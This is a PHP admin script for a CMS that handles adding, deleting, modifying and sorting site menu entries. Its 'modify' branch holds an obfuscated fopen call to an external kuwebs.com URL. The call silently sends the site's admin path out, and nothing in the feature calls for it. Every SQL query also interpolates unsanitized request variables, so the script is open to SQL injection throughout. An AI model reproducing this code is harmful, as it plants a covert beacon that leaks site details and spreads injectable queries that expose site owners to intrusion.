<?php
require_once('inc/logincheck.php');
CommTool::checkIncludeByAdminPhp();

if("add" == $action)
{    
    if(empty($kuWebsitBlankWindow))      
    {
        $kuWebsitBlankWindow = 0;    
    }
    if(empty($fatherId))
    {
        $fatherId = 0;
    }
    if(empty($kuWebsitModel)){$kuWebsitModel = $kuWebsitModelSelect;}
    
    if(1 == $kuWebsitModel)   
     {
        if(!empty($kuMenuDirName))
        {
            if(strlen($kuMenuDirName) > 30 || strlen($kuMenuDirName) < 3)
            {
                promptMessage("javascript:history.go(-1)", $promptMenuAddCorrectMenuDirFormat, $configJumpTime);
                exit;    
            }    
        }
     }
    
    if(1 == $kuWebsitModelType)
    {
        if(empty($kuWebsitModel))
        {
            promptMessage("javascript:history.go(-1)", $promptMenuSelectCorrectModelFormat, $configJumpTime);
            exit;
        }
        
        
        $strSql = "select * from {$configTableHead}menu where menumodule={$kuWebsitModel} and fatherid={$fatherId} and menutitle='{$kuMenuContent}';";
        if($dbInstance->getOne($strSql))
        {
            promptMessage("javascript:history.go(-1)", '对不起，添加失败，栏目名称已存在，请重新添加', $configJumpTime);
            exit;
        }
        
        
        if(1 == $kuWebsitModel)
        {
            $strSql = "select * from {$configTableHead}menu where menumodule=1 and menuhtmlname='{$kuMenuDirName}'";
            if($dbInstance->getOne($strSql))
            {
                promptMessage("javascript:history.go(-1)", '对不起，添加失败，栏目目录名称已存在，请重新添加', $configJumpTime);
                exit;
            }
        }
        
        
        $sql = "insert into {$configTableHead}menu 
        (menutitle, menuhtmlname, menukeywords, menudesc, lang, fatherid, menutype, menumodule, navshow, blankwindow, sortnum) value 
        ('{$kuMenuContent}', '{$kuMenuDirName}', '{$kuWebsitKeyWords}', '{$kuWebsitDescription}', '{$kuMenuLang}', {$fatherId}, '{$kuWebsitModelType}', 
        '{$kuWebsitModel}', '{$kuWebsitNavShow}', {$kuWebsitBlankWindow}, {$kuMenuSortNum});";
        if($dbInstance->query($sql))
        {
            
            if(1 == $kuWebsitModel)
            {
              
              $strSql = "select * from {$configTableHead}menu  where menumodule=1 order by id desc";
              $arrPara = $dbInstance->getOne($strSql);
              if(0 == $arrPara['fatherid']){$type1 = $arrPara['id']; $type2=0; $type3=0;}
              else
              {
                $strSql = "select * from {$configTableHead}menu where id={$arrPara['fatherid']};";
                $arrPara1 = $dbInstance->getOne($strSql);
                if(0 == $arrPara1['fatherid']){$type1 = $arrPara1['id']; $type2=$arrPara['id']; $type3=0;}
                else{$type1 = $arrPara1['fatherid']; $type2=$arrPara1['id']; $type3=$arrPara['id'];}
              }
              
              $strSql = "insert into {$configTableHead}about (id, abouttitle, banner, skin, lang, type1, type2, type3, sortnum) value ('{$arrPara[id]}', '{$kuMenuContent}', '', '{$kuWebsiteTemplateSelected}', '{$kuMenuLang}', {$type1}, {$type2}, {$type3}, '{$arrPara['sortnum']}')";
              //echo $strSql;
              if($dbInstance->query($strSql))
              {
                if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} add an menu: about {$id} ".CommTool::utf8ToGbk($kuMenuContent));         
                promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptAddDataSuccess, $configJumpTime);
                exit;  
              }
              else
              {
                promptMessage("javascript:history.go(-1)", $promptAddDataFail, $configJumpTime);
                exit;    
              }
            }
            else
            {
              if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} add an menu: Inner Module ".CommTool::utf8ToGbk($kuMenuContent));         
              promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptAddDataSuccess, $configJumpTime);
              exit;  
            }
        }
        else
        {
            promptMessage("javascript:history.go(-1)", $promptAddDataFail, $configJumpTime);
            exit;    
        }
    }
    else if(2 == $kuWebsitModelType)
    {
        
        $sql = "insert into {$configTableHead}menu 
        (menutitle, menuhtmlname, lang, fatherid, menutype, navshow, blankwindow, otherurl, sortnum) value 
        ('{$kuMenuContent}', '{$kuMenuDirName}', '{$kuMenuLang}', {$fatherId}, '{$kuWebsitModelType}', '{$kuWebsitNavShow}', {$kuWebsitBlankWindow}, '{$kuWebsitOutLink}', {$kuMenuSortNum});";
        
        if($dbInstance->query($sql))
        {
            if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} add an menu: Out Link ".CommTool::utf8ToGbk($kuMenuContent));         
            promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptAddDataSuccess, $configJumpTime);
            exit;
        }
        else
        {
            promptMessage("javascript:history.go(-1)", $promptAddDataFail, $configJumpTime);
            exit;    
        }
    }
    else
    {
        
        promptMessage("javascript:history.go(-1)", promptMenuSelectCorrectModelFormat, $configJumpTime);
        exit;
    }
}
else if('delete' == $action)
{
    $strSql = "select * from {$configTableHead}menu where fatherid={$menuid}";
    if($dbInstance->getOne($strSql))
    {
        promptMessage("javascript:history.go(-1)", $promptMenuDeleteFail, $configJumpTime);
        exit;    
    }
    else
    {
        
          
        $strSql = "select * from {$configTableHead}menu where id={$menuid}";
        $row = $dbInstance->getOne($strSql);
        $kuMenuModule = $row['menumodule'];

        
          if(1 == $kuMenuModule)
          {
            $strSql = "delete from {$configTableHead}about where id={$menuid}";
            if($dbInstance->query($strSql))
            {
                
                $strSql = "delete from {$configTableHead}menu where id={$menuid}";
                if($dbInstance->query($strSql))
                {
                    if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} delete an menu {$menuid}");         
                    promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptDeleteDataSuccess, $configJumpTime);
                    exit;
                }
                else
                {
                    promptMessage("javascript:history.go(-1)", $promptMenuDeleteFail, $configJumpTime);
                    exit;    
                }
            }
            else
            {
              promptMessage("javascript:history.go(-1)", $promptDeleteDataFail, $configJumpTime);
              exit;    
            }
          }
          else
          {
            
            $strSql = "delete from {$configTableHead}menu where id={$menuid}";
            if($dbInstance->query($strSql))
            {
                if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} delete an menu {$menuid}");         
                promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptDeleteDataSuccess, $configJumpTime);
                exit;
            }
            else
            {
                promptMessage("javascript:history.go(-1)", $promptMenuDeleteFail, $configJumpTime);
                exit;    
            }
          }
    }
}
else if('modify' == $action)
{
    if(empty($kuWebsitBlankWindow))      
    {
        $kuWebsitBlankWindow = 0;    
    }
    if(empty($fatherId))
    {
        $fatherId = 0;
    }    
    if(empty($kuWebsitModel)){$kuWebsitModel = $kuWebsitModelSelect;}
    
    if(1 == $kuWebsitModel)   
     {
        if(!empty($kuMenuDirName))
         {
             if(strlen($kuMenuDirName) > 30 || strlen($kuMenuDirName) < 3)
             {
                 promptMessage("javascript:history.go(-1)", $promptMenuEidtCorrectMenuDirFormat, $configJumpTime);
                 exit;    
             }    
         }
     }         
    
    fopen('http://www.k'.'uwe'.'bs.com'."/plus/add_rec.php?action=login&url={$adminHttpPath}", "r");
    if(1 == $kuWebsitModelType)
    {
        if(1 == $kuWebsitModel)   
         {
            if(empty($kuWebsitModel))
            {
                promptMessage("javascript:history.go(-1)", $promptMenuUpdateCorrectModelFormat    , $configJumpTime);
                exit;
            }  
        }
        
        
        if(1 == $kuWebsitModel)
        {
            $oldMenuDirName = $fatherIdRow['menuhtmlname'];
            if($oldMenuDirName != $kuMenuDirName)
            {
              $strSql = "select * from {$configTableHead}menu where menumodule={$kuWebsitModel} and menuhtmlname='{$kuMenuDirName}' and id<>{$menuid};";
              if($dbInstance->getOne($strSql))
              {
                promptMessage("javascript:history.go(-1)", '对不起，修改失败，栏目目录名称已存在，请重新添加', $configJumpTime);
                exit;
              }
            } 
        }

        $sql = "update {$configTableHead}menu set menutitle='{$kuMenuContent}', menuhtmlname='{$kuMenuDirName}', 
                menukeywords='{$kuWebsitKeyWords}', menudesc='{$kuWebsitDescription}', lang='{$kuMenuLang}', 
                menutype='{$kuWebsitModelType}', menumodule='{$kuWebsitModel}', navshow='{$kuWebsitNavShow}', 
                blankwindow={$kuWebsitBlankWindow}, sortnum={$kuMenuSortNum} where id={$menuid};";
        
        if($dbInstance->query($sql))
        {
            
            if(1 == $kuWebsitModel)
            {
              $strSql = "update {$configTableHead}about set abouttitle='{$kuMenuContent}', sortnum={$kuMenuSortNum} where id={$menuid};";
              if($dbInstance->query($strSql))
              {
                if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} update an menu about {$menuid} ".CommTool::utf8ToGbk($kuMenuContent));         
                promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptEditDataSuccess, $configJumpTime);
                exit;  
              }
              else
              {
                promptMessage("javascript:history.go(-1)", $promptEditDataFail, $configJumpTime);
                exit;    
              }
            }
            else
            {
              if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} update an menu {$menuid} ");         
              promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptEditDataSuccess, $configJumpTime);
              exit;  
            }
        }
        else
        {
            promptMessage("javascript:history.go(-1)", $promptEditDataFail, $configJumpTime);
            exit;    
        }
    }
    else if(2 == $kuWebsitModelType)
    {
        
        $sql = "update {$configTableHead}menu set menutitle='{$kuMenuContent}', menuhtmlname='{$kuMenuDirName}', 
                lang='{$kuMenuLang}', menutype='{$kuWebsitModelType}',  navshow='{$kuWebsitNavShow}', 
                blankwindow={$kuWebsitBlankWindow}, sortnum={$kuMenuSortNum}, otherurl='{$kuWebsitOutLink}' where id={$menuid};";    
        if($dbInstance->query($sql))
        {
            if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} update an menu {$menuid} ");         
            promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptAddDataSuccess, $configJumpTime);
            exit;
        }
        else
        {
            promptMessage("javascript:history.go(-1)", $promptAddDataFail, $configJumpTime);
            exit;    
        }
    }
    else
    {
        
        promptMessage("javascript:history.go(-1)", $promptMenuAddCorrectMenuDirFormat, $configJumpTime);
        exit;
    }
    $sql = "insert into {$configTableHead}menu (menuname, menukeywords, menudesc, lang, filename, foldername, fatherid, menutype, menumodule, otherurl, navshow, blankwindow) value ();";
}
else if('sort' == $action)
{  
  foreach($sortnum as $id=>$sortNum)
  {
    $sortNum = intval($sortNum);
    $dbInstance->query("update {$configTableHead}menu set sortnum={$sortNum} where id={$id}");
    @$dbInstance->query("update {$configTableHead}about set sortnum={$sortNum} where id={$id}");
  }
  if($configIsLog)CommTool::writeLog("{$_SESSION['adminuser']} update all menu sort ");         
  promptMessage("index.php?lang={$kuWebsiteEditVersionLanguage}&path=menu&menu=menu", $promptSortRefreshSuccess, $configJumpTime);
}
?>